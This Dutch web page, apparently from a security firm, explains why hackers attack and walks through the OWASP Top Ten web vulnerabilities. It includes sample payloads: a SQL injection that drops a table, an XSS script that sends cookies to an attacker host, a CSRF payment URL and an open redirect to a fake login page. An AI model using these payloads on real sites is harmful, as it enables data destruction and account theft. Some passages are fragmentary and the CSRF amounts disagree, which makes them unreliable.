De vraag die ons het meest gesteld wordt is "waarom zouden mensen mij hacken?". De mogelijkheden die een hacker heeft met de informatie van een gehackte computer vindt u onderstaand:
Zoals u kunt lezen zijn er vele redenen voor een hacker om toegang te krijgen tot een -willekeurige- computer, zelfs als deze op het eerste gezicht niet interessant lijken. Doordat steeds meer ICT-systemen geïntegreerd zijn met elkaar, wordt het steeds interessanter om te hacken.
De bedreiging kan zowel door individuen als door groepen worden gevormd. Activiteiten welke mogelijk tegen uw bedrijf wil ontplooien. Het is belangrijk om in kaart te brengen wie gebruik maakt van de activiteiten vans uw bedrijf.
Gevaar = mogelijkheden + intenties + historische activiteiten.
Deze individuen of groepen kunnen als volgt gedefinieerd worden:
Van deze gevaren kan er een onderscheid gemaakt worden in:
Aanvallen zijn de technieken die hackers gebruiken om lekken/zwakheden van systemen uit te buiten.
Enkele voorbeelden zijn:
Een lek is een gat of een zwakke plek in een applicatie. Dit kan worden veroorzaakt door een ontwerp-, implementatie- of installeerfout. Het misbruiken van een lek kan belanghebbenden in de applicatie schaden. Belanghebbenden zijn bijvoorbeeld: de eigenaar van de applicatie, de gebruikers of derden welke afhankelijk zijn van de applicatie. Onderstaand vindt u de meest voorkomende lekken. Daarna zullen wij bedreigingen, aanvallen en oplossingen nader toelichten en specificeren.
De meest voorkomende lekken zijn te vinden in applicaties. Niet alle applicaties zijn dusdanig ingericht dat deze bestand zijn tegen enige vorm van hacken.
Er zijn twee lekken bij webapplicates die wij het meeste tegen komen, Cross-side scripting en SQL-injection.
Een datalek brengt niet alleen mogelijk uw onderneming in gevaar, maar ook uw klanten. Dit kan uw imago ernstige schade toebrengen met grote financiële gevolgen. Wanneer u gehackt bent en u persoonsgegevens opgeslagen heeft, dan dient u zich te houden aan de Wet bescherming persoonsgegevens (Wbp). Hierin staat een meldplicht vermeld wanneer er mogelijk spraken is van een hack.
Het niet naleven van deze meldplicht en andere verplichtingen (zoals het zorgvuldig omgaan met de verkregen gegevens) omtrent het privacy recht, kan verstrekkende gevolgen hebben. Er is een maximum boete gesteld van 200.000 euro, voor het niet naleven van de regelgeving. Waarbij u nog de mogelijke schadeclaims van cliënten, waarop de date betrekking heeft, moet honoreren. Het is verplicht een melding te bij College bescherming persoonsgegevens (Cpb) en tevens moeten de cliënten waarop de data betrekking heeft worden ingelicht.
Na het constateren van een lek, moet deze gedicht worden, waarna tevens gecontroleerd moet worden op mogelijk meerdere zwakheden in het systeem. Als dit op voorhand gedaan was, had de hack mogelijk voorkomen kunnen worden.
Verschillende instanties maken overzichten van de belangrijkste en meest voorkomende kwetsbaarheden in de ICT. De twee bekendste overzichten zijn de SANS 20 Critical Security Controls en de OWASP Top Ten.
SANS is een van de grootste bronnen voor informatiebeveiliging en verzorgt wereldwijd opleidingen en veiligheidscertificeringen.
Het Open Web Application Security Project (OWASP) is een online gemeenschap van security experts die hun kennis over het software beveiligingsdomein delen zodat applicaties geschreven kunnen worden met een grotere focus op veiligheid en beveiliging. Het OWASP Top 10 project is een lijst van de 10 gevaarlijkste en meest voorkomende veiligheidsrisico's op het internet, gebaseerd op meer dan 500000 kwetsbaarheden in meer dan 1000 applicaties.
Injection kwetsbaarheden zijn volgens de OWASP Top 10 de grootste risicofactor voor webapplicaties. De bekendste vorm van injection is SQL-injection. SQL injection doet zich voor wanneer een kwaadwillende gebruiker in staat is om een SQL query zo te manipuleren dat ze niet langer de bedoelde functionaliteit uitoefent.
Bij een online webwinkel kun je bijvoorbeeld een product bekijken door naar “www.example.com/?product=1234” te gaan. Onderwater zal er ongeveer het volgende uitgevoerd worden:
“SELECT * FROM tblProducts WHERE id = 1234;”
Deze “database oproep” vraagt alle gegevens op van product 1234.
Als de “user input” niet goed afgeschermd wordt zou een kwaadwillende het volgende kunnen uitvoeren. Bij het openen van “www.example.com/?product=1234; DROP TABLE tblProducts” word er onderwater het volgende uitgevoerd:
“SELECT * FROM tblProducts WHERE id = 1234; DROP TABLE tblProducts;”
Deze “database oproep” vraagt niet alleen alle gegevens op van product 1234, maar verwijderd ook het databasetabel genaamd “tblProducts”.
Met andere woorden, een hacker kan de gegevens in de database manipuleren dan wel saboteren.
Dit veiligheidsrisico houdt in dat een kwaadwillende gebruiker in staat zou kunnen zijn om het account van een andere gebruiker over te nemen doordat er gebrekkige sessiebeheer- en authenticatiemechanismen aanwezig zijn. Sessies zorgen ervoor dat gebruikers zich kunnen authenticeren en dat hun handelingen bewaard kunnen blijven gedurende een bepaalde periode Denk bijvoorbeeld aan het toevoegen van producten aan een winkelwagentje in een online webwinkel. Indien de aanvaller erin slaagt om de account van iemand anders over te nemen is hij in staat om alles te kunnen doen wat de gebruiker zelf zou kunnen doen.
Doordat bijvoorbeeld een webapplicatie niet via een beveiligde SSL-verbinding communiceert of vatbaar is voor Cross-Site Scripting, zou een kwaadwillende bijvoorbeeld cookies kunnen onderscheppen met de benodigde Session informatie. Met die informatie zou de aanvaller de sessie kunnen overnemen (Session Hijacking).
Veel websites bevatten scripts die uitgevoerd worden door de browser. Cross-Site Scripting (XSS) aanvallen houden in dat een aanvaller in staat is om zijn eigen script te injecteren in een website. De code is meestal geschreven in HTML/JavaScript, maar kan ook geschreven zijn in VBScript, ActiveX, Java, Flash, of iedere andere technologie die door de browser ondersteund wordt.
XSS veiligheidsrisico's doen zich voor wanneer een webapplicatie onbetrouwbare gebruikersinput rechtstreeks gebruikt in de output van de website. Denk bijvoorbeeld aan het herhalen van de zoekterm door een webapplicatie bij het tonen van de resultaten van een zoekopdracht.
Als men de volgende code zou invullen: “<script>document.location="http://www.hack.com/steal?cookie=" + document.cookie</script>”, zal de browser de cookie naar een externe site van de aanvaller versturen. In cookies staan vaak Session informatie, die een aanvaller zou kunnen gebruiken om een sessie over te nemen (zie ook A2)
Het is goed mogelijk dat niet alle objecten van een website publiek toegankelijk mogen zijn. Het slechts verbergen van deze gegevens voor bezoekers die niet de juiste autorisatie hebben, is niet voldoende. Indien een bezoeker rechtstreeks toegang probeert te krijgen tot deze objecten, moet er gevalideerd worden door de webapplicatie of zij hiervoor de juiste rechten hebben.
Een klant kan bijvoorbeeld zijn eigen factuur bekijken via de link: “http://www.example.com/?factuur=1234”. Maar zodra de eindgebruiker het getal “1234” aanpast krijgt hij het factuur te zien van iemand anders.
Alle configuraties van uw webapplicaties, van frameworks en databases tot servers, dienen goed ingesteld en bijgehouden te worden, aangezien deze niet altijd standaard met veilige instellingen worden geïnstalleerd.
Doordat bijvoorbeeld onnodige features ingeschakeld zijn, de standaard gebruikersnaam en wachtwoord nog actief zijn of bij een fout een uitgebreide "foutrapportage" wordt laten zien, heeft een aanvaller respectievelijk meer invalshoeken, mogelijkheid om te authenticeren of extra informatie over de werking van de webapplicatie.
Gevoelige gegevens enkel afgeschermd opslaan, bijvoorbeeld in een database, is niet voldoende. Het zou niet mogelijk moeten zijn dat gevoelige gegevens gelezen kunnen worden als een kwaadwillende gebruiker op een of andere manier toegang kan krijgen tot bijvoorbeeld de database. Dit betekent dat deze versleuteld moeten worden opgeslagen.
Als een kwaadwillende op de een of andere manier toegang heeft tot de database of een kopie/back-up hiervan, kan men alle data inzien (die persoon kan ook een systeembeheerder zijn!). Vaak bevatten databases gevoelige data zoals login gegevens, credit card gegevens, BSN-nummers van klanten, telefoonnummers, etc.
Veel sites werken met gebruikersaccounts met verschillende rechten. Denk hierbij aan een klant en een verkoopmedewerker. Een klant kan alleen zijn/haar eigen bestellingen zien maar een verkoopmedewerker die van alle klanten.
In bovengenoemde situatie zal een verkoopmedewerker waarschijnlijk meer functionaliteiten hebben. Enkel het verbergen van bijvoorbeeld de knoppen is niet voldoende. Achterliggend in het systeem moeten er ook sterke mechanismen aanwezig zijn die nagaan welke rechten een bepaalde gebruiker heeft en of hij de juiste rechten heeft voor het uitvoeren van bepaalde acties. Zo zou het mogelijk kunnen zijn dat een "normale" gebruiker een pagina kan aan passen.
Dit type veiligheidsrisico houdt in dat een aanvaller ervoor kan zorgen dat een gebruiker een bepaalde actie uitvoert op een betrouwbare webapplicatie, zonder dat hij hier besef van heeft. Hiervoor hoeft de aanvaller de sessie informatie van zijn slachtoer niet te achterhalen, maar maakt hij misbruik van het feit dat de browser deze automatisch meestuurt met ieder verzoek. De webapplicatie heeft zelf geen besef van de legitimiteit van het verzoek, dus verwerkt deze gewoon als enig ander verzoek.
Als een niets vermoedende gebruiker op een besmette site komt, die onderwater verzoeken stuurt naar bijvoorbeeld een social-network site om een "update" te plaatsen en deze gebruiker heeft in een ander tabblad/zelfde browser-sessie nog ingelogd bij die social-network site, zal er een "update" worden geplaatst als die gebruiker zijnde.
Hetzelfde zou ook goed mogelijk zijn met bijvoorbeeld geldtransacties. Stel dat op de volgende manier data verstuurd wordt naar een bank: “http://www.example.com/?process_payment&amount=100&to=123456789”, maar de kwaadwillende site probeerd onderwater het volgende uit te voeren: “http://www.example.com/?process_payment&amount=9999&to=987654321”, dan zal -indien sessie bij de bank actief- 99999 euro naar 987654321 worden overgemaakt.
Dit is misschien wel de meest voor de hand liggende kwetsbaarheid: gebruik maken van bekende lekken. Vele webapplicaties bestaan uit meerdere componenten die extra functionaliteiten bieden, waardoor de programmatuur door vele derden partijen ontwikkeld zijn. Als er bekend wordt dat er kwetsbaarheden zijn, kan men deze makelijk opzoeken en misbruiken.
Gebruikers worden vaak omgeleid/doorverwezen naar andere pagina's, bijvoorbeeld om na het inloggen terug te gaan naar de pagina of homepage. Zodra deze omleidingen/doorverwijzingen gebaseerd zijn op gegevens die door de gebruiker aangepast kan worden (bijvoorbeeld de URL), kan men terechtkomen op een site met kwade bedoelingen.
Stel een klant krijgt in zijn mailbox een link om zijn bestelling te bekijken “http://www.example.com/?order=1234”. De sessie is al enige tijd verlopen dus de klant moet opnieuw inloggen komt op de pagina “http://www.example.com/?login&redirect=http://www.example.com/?order=1234”. Zodra de klant ingelogd is zal de website de klant doorsturen naar “http://www.example.com/?order=1234” zoals dat netjes in de URL staat.
Echter, als een kwaadwillende de volgende link stuurt naar een slachtoffer “http://www.example.com/?login&redirect=http://www.hack.com/fake_login_example_com”, zal de klant wederom moet inloggen, maar wordt vervolgens naar “http://www.hack.com/fake_login_example_com” gestuurd. De klant denkt vervolgens dat het wachtwoord verkeerd was en zal nog een keer proberen in te loggen op de site van de hacker. Vanaf dit moment weet de hacker het gebruikersnaam en wachtwoord van het slachtoffer.
© 2012-2024 ICT-Radar